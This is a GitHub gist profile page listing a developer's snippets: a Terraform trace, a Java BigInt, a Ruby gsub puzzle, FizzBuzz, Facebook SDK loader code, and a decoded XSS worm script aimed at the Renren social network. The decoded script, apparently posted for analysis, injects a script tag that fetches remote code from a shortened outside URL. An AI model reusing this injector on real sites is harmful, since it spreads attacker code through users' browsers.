Skip to content

Instantly share code, notes, and snippets.

View franklsf95's full-sized avatar

Frank Luan franklsf95

View GitHub Profile
@franklsf95
franklsf95 / trace.log
Created December 6, 2021 23:10
Terraform Trace Azure VM Specialized
This file has been truncated, but you can view the full file.
2021-12-06T23:07:42.205Z [DEBUG] Adding temp file log sink: /tmp/terraform-log507459835
2021-12-06T23:07:42.205Z [INFO] Terraform version: 1.0.11
2021-12-06T23:07:42.205Z [INFO] Go runtime version: go1.16.4
2021-12-06T23:07:42.205Z [INFO] CLI args: []string{"/usr/bin/terraform", "apply", "-auto-approve"}
2021-12-06T23:07:42.205Z [TRACE] Stdout is not a terminal
2021-12-06T23:07:42.205Z [TRACE] Stderr is not a terminal
2021-12-06T23:07:42.205Z [TRACE] Stdin is a terminal
2021-12-06T23:07:42.205Z [DEBUG] Attempting to open CLI config file: /home/azureuser/.terraformrc
2021-12-06T23:07:42.205Z [DEBUG] File doesn't exist, but doesn't need to. Ignoring.
@franklsf95
franklsf95 / BigInt.java
Created November 17, 2014 19:47
Big Integer exercise in Java
/*
* Adapted from java.math.BigInteger
*
* This class only support non-negative integers
*/
public class BigInt implements Comparable<BigInt> {
// Constructors
@franklsf95
franklsf95 / test.rb
Created July 10, 2014 00:29
Inconsistent Ruby gsub behavior
# In the following code, the two gsub's have different outcomes.
ver = 9999
str = "\t<key>CFBundleDevelopmentRegion</key>\n\t<string>en</string>\n\t<key>CFBundleVersion</key>\n\t<string>0.1.190</string>\n\t<key>AppID</key>\n\t<string>000000000000000</string>"
puts str.gsub /(CFBundleVersion<\/key>\n\t.*\.).*(<\/string>)/, "#{$1}#{ver}#{$2}"
puts '--------'
puts str.gsub /(CFBundleVersion<\/key>\n\t.*\.).*(<\/string>)/, "#{$1}#{ver}#{$2}"
switch (x) {
case 1:
//...
case 2:
//...
default: // catches everything else
//...
}
@franklsf95
franklsf95 / fizz_buzz
Created February 26, 2014 02:26
Fizz Buzz
(1..100).each do |i|
if i % 15 == 0
puts 'FizzBuzz'
elsif i % 5 == 0
puts 'Buzz'
elsif i % 3 == 0
puts 'Fizz'
else
puts i
end
The official way to import the Facebook JavaScript SDK is like this:
// Load the SDK asynchronously
(function(){
// If we've already installed the SDK, we're done
if (document.getElementById('facebook-jssdk')) {return;}
// Get the first script element, which we'll use to find the parent node
var firstScriptElement = document.getElementsByTagName('script')[0];
@franklsf95
franklsf95 / gist:5019953
Last active December 14, 2015 03:19
人人网XSS攻击脚本Unicode解码结果
if (window.isUndefined(window.injector1))
{
window.injector1 = 'defined';
window.scriptSrc = 'http://t.cn/zYKFUUl';
console.log("triggered...");
var script = document.createElement("script");
script.src = window.scriptSrc;
script.type = 'text/javascript';
script.charset = 'gbk';
script.id = 'sklmtt';